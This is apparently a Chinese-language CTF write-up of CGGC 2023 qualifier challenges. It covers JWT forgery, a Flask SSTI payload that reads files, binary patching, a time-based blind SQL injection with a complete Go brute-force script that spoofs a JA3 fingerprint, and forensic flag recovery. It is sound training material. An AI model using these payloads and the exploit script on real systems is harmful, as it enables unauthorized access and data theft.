快轉到主要內容
  1. Posts/

CGGC CTF 2023 初賽 Writeup

·1631 字·4 分鐘· loading · loading · ·
目錄

[Web] bossti
#

Description:

I wish you were a boss wannabe.

bossti_1
這題很明顯是要竄改 JWT 來登入。

bossti_2
JWT 解開後,簽名的 Secret 是空值。

bossti_3
把 JWT 改成題目提示的 boss。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYm9zcyIsImhhY2siOiIifQ.VhS5VSRlR_RrgIlF-gdl-s1_PVHPQCxB3s8oHgwEPJ4

bossti_4
登入之後變成 SSTI 題目。透過 Wappalyzer 可以知道服務是 Python Flask,因此可以先找 Python SSTI payload 來測試。

bossti_5
hack 欄位用上 {{ 7*6 }},結果伺服器幫我們算好 42,確定存在 SSTI。

http://10.99.111.109:5000/boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27{{7*6}}%27}

bossti_6
題目要我們嘗試找到 Flag.txt,所以接著找讀檔 payload。原本應該要先想辦法列目錄,但剛好猜中當前目錄,就直接讀到了。

http://10.99.111.109:5000/boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27{{get_flashed_messages.__globals__.__builtins__.open(%22Flag.txt%22).read()}}%27}
  • flag: CGGC{"S$T1_V3RY_EZ_2_Pwn3D_C0ngr4t$"}

[MISC] Space game
#

Description:

Play a fun space game and try to get a high score. Move using the arrow keys and press ‘Z’ to attack.

space_game_1
binjgb 是一個 Game Boy 模擬器。從 GitHub 文件來看,需要把 .gb 檔案放到伺服器上。

space_game_2
打開開發者工具看載入請求,發現瀏覽器會下載 game.gb,而 flag 就藏在這個檔案裡。

  • flag: CGGC{Y0U_WIN!!123}

[Reverse] GaoYi
#

Description:

Anyone can participate with three million US dollars.

gaoyi_1
題目給了一個執行檔,需要跟高義賭兩局,贏了才有 flag。

gaoyi_2
main 函數,有兩場賭局,把使用者輸入讀進來後再判斷勝負。

gaoyi_3
我們要的 flag 在 readFlag()

gaoyi_4
readFlag() 裡面在算 flag,本想自己算一遍,但覺得太蠢。

gaoyi_5
解題思路是跳過中間的賭局,直接進到算 flag 的流程。因此目標是跳到 0x00401e3c,讓程式直接計算 flag。

gaoyi_6
於是從 main 函數一開始的地方動手,嘗試直接跳轉。

gaoyi_7
gaoyi_8
原本的指令 eb6a 改成 e939040000

gaoyi_9
gaoyi_10
修改 binary。

gaoyi_11
成功拿到 flag。

  • flag: CGGC{J00_sh4ll_n07_sH1P_S3cR37S_70_cuS70M3r}

[Web] Flag Slot Machine
#

Description:

If you’re lucky enough, you’ll be able to get the flag.

// flag.php
<?php
include_once("config.php");

if(isset($_GET["secret"])) {
    $pwd = $_GET["secret"];
    $dbname = 'secret_db';
    $conn = new mysqli(HOST, DBUSER, DBPASS, $dbname);
    
    if ($conn->connect_error) {
        die('Connection failed: ' . $conn->connect_error);
    }

    $stmt = $conn->prepare("SELECT * FROM s3cret_table");
    $stmt->execute();

    $result = $stmt->get_result();

    $response = array("data" => generateRandomString(strlen($flag)));
    if ($result->num_rows > 0) {
        $res = $result->fetch_assoc();
        if($res["secret"] == $pwd)
            $response = array("data" => $flag); // <-- flag here
    }

flag.php 要求我們在 GET 參數中提供 secret。如果它符合資料庫中的 secret,就可以拿到 flag。

// login.php
<?php
include_once("config.php");
fingerprint_check();

if(isset($_POST['user']) && isset($_POST['pwd'])) {
    $user = $_POST['user'];
    $pwd = $_POST['pwd'];
} else {
    $user = $pwd = "";
}

//...

if($user != "" && $pwd != "") {
	$dbname = 'slot_db';
	$conn = new mysqli(HOST, DBUSER, DBPASS, $dbname);
	if ($conn->connect_error) {
	    die('Connection failed: ' . $conn->connect_error);
	}

	$conn->set_charset("utf8");
	$stmt = $conn->prepare("SELECT * FROM users WHERE username = '" . $user . "' and password = '" . md5($pwd) . "'"); // <-- SQLi here
	$stmt->execute();
	$result = $stmt->get_result();

	if ($result->num_rows > 0) {
	    $res = $result->fetch_assoc();
	    $_SESSION['login'] = $res["username"];
	    echo "<div>Login successful!</div>";
	    echo "<script>setTimeout(function(){ window.location.href = 'index.php'; }, 1000);</script>";
	} else {
	    echo "<div class=\"alert alert-danger\" role=\"alert\">Login failed! QAQ</div>";
	}

login.php 存在 SQL injection 漏洞,但可惜沒有回顯,因此不能直接把資料庫中的資料挖出來顯示在網頁上。

// config.php
<?php
session_start();
define("FINGERPRINT", "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0");
define("DBUSER", "kaibro");
define("DBPASS", "superbig");
define("HOST", "localhost");
$flag = 'CGGC{fake_flag}';

function session_check() {
    if(!isset($_SESSION['login']) || $_SESSION['login'] == "") {
        header("Location: login.php");
        die("Plz login");
    }
}

function fingerprint_check() {
    if($_SERVER['HTTP_SSL_JA3'] !== FINGERPRINT) 
        die("Bad hacker! Wrong fingerprint!"); 
}

開始嘗試登入前,會先被 JA3 指紋擋住。這題在 Balsn CTF 出過,可以參考以下 writeup。我一開始照著 writeup 使用 NodeJS,但非同步執行在時間判斷上不太好處理,所以後來改用 Go 版本。

use mysql;
CREATE USER 'kaibro'@'localhost' IDENTIFIED BY 'superbig';
GRANT SELECT ON *.* TO 'kaibro'@localhost IDENTIFIED BY 'superbig' WITH GRANT OPTION;
FLUSH PRIVILEGES;


CREATE DATABASE slot_db;
use slot_db;
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `id` int(11) DEFAULT NULL,
  `username` text,
  `password` text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

LOCK TABLES `users` WRITE;
INSERT INTO `users` VALUES (1, 'kaibro', '4647570f7638e378e490db41c24c800a');
UNLOCK TABLES;

CREATE DATABASE secret_db;
use secret_db;

DROP TABLE IF EXISTS `s3cret_table`;
CREATE TABLE `s3cret_table` (
  `id` int(11) DEFAULT NULL,
  `secret` text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;


LOCK TABLES `s3cret_table` WRITE;
INSERT INTO `s3cret_table` VALUES (1, 'meowmeowmeow');
UNLOCK TABLES;

SQL injection 使用 UNION SELECT 前,要先找出欄位數量。題目有提供 DB 結構,所以可以直接知道是三個欄位。我們的目標是 secret_db.s3cret_table 裡的 secret;因為沒有回顯,只能一個字元一個字元比對。第一步先確認 secret 長度,這裡使用 time-based 方法,讓條件成立時 sleep() 幾秒。嘗試幾次後可以知道長度是 32。

  • user=kaibro' UNION Select 1,2,IF(length(secret)=32,SLEEP(5),0) FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123'

接下來開始暴力比對 secret,一次取出一個字元並比對 ASCII 碼。需要注意的是,secret 每隔一段時間就會更新,所以不要手動比對(對,我就浪費時間手動比對過,也因此發現字元大概落在 [0-9a-f])。這也呼應前面提到的:用 Go 版本會比較方便計算時間差。

package main

import (
    "fmt"
    "github.com/Danny-Dasilva/CycleTLS/cycletls"
    "strconv"
    "time"
    "net/http"
    "crypto/tls"
    "io/ioutil"
)

func main() {

    client := cycletls.Init()
    // secret length = 32
    // Body: 'user=kaibro' UNION Select 1,2,IF(length(secret)=32,SLEEP(5),0) FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123',
    secret := ""
    chars := "abcdef1234567890"

    for len(secret) < 32 {
        for _, char := range chars {
            payload := "user=kaibro' UNION Select 1,IF(SUBSTRING(secret," + strconv.Itoa(len(secret)+1) + ",1) = CHAR(" + strconv.Itoa(int(char)) + "),SLEEP(2),null),3 FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123"
            //fmt.Println(payload)
            start := time.Now()

            _, err := client.Do("https://10.99.111.111:8787/login.php", cycletls.Options{
                Body : payload,
                Ja3: "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0",
                UserAgent: "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0",
                Headers: map[string]string{
                    "Content-Type": "application/x-www-form-urlencoded",
                },
                InsecureSkipVerify: true,
                }, "POST");
            if err != nil {
                fmt.Print("Request Failed: " + err.Error())
            }

            elapsed := time.Since(start)
            //fmt.Println(elapsed)
            if (elapsed >= 2000000000) {
                secret = secret + string(char)
                fmt.Println(secret)
                break
            }
        }
    }
    http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
    response, err := http.Get("https://10.99.111.111:8787/flag.php?secret=" + secret)
    if err != nil {
        fmt.Print("Request Failed: " + err.Error())
    }
    // read response body
    body, error := ioutil.ReadAll(response.Body)
    if error != nil {
        fmt.Println(error)
    }
    // close response body
    response.Body.Close()

    // print response body
    fmt.Println(string(body))
}

flag_slot_machine_1
flag_slot_machine_2
暴力比對完成後,把 secret 餵給 flag.php,就可以拿到 flag。

[MISC] Link list#

Description:

DO you know how automatic destination file work? (The flag is separarted into four parts)

link_list_1
在檔案最下面發現最後一段:

  • C:\Challenge\_l457_p4r7_15_h1dd3n!}

link_list_2
要用 l l e n g e \ 後面的 path 才能找到順序正確的 flag 片段;如果用 C:\Challenge\ 找,順序會跑掉。

F L A G IS Pr ob bly Here! Youre Clo se Here It is_ CG GC{ 3 z _f 1 r5 7_ qu 4 r 7 3r _
  • CGGC{3z_f1r57_qu4r73r_

link_list_3
這一段則是把 PowerShell script 拿出來執行即可。

C:\> $t='aRB3BDtBNRAiBGFBNBA2BGVB[tB0BDdBNRAzBDRB[tBtBD7BNtB>';for(($i=0);$i-lt$t.Length;$i++){$k+=[char]($t[$i]-bxor3)};[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($k))
m4l1c10u5_7h1rd_0n3
  • m4l1c10u5_7h1rd_0n3

最後只剩第二段卡住,所以這題沒有完整解出來 :(

  1. CGGC{3z_f1r57_qu4r73r_
  2. m4l1c10u5_7h1rd_0n3
  3. _l457_p4r7_15_h1dd3n!}

相關文章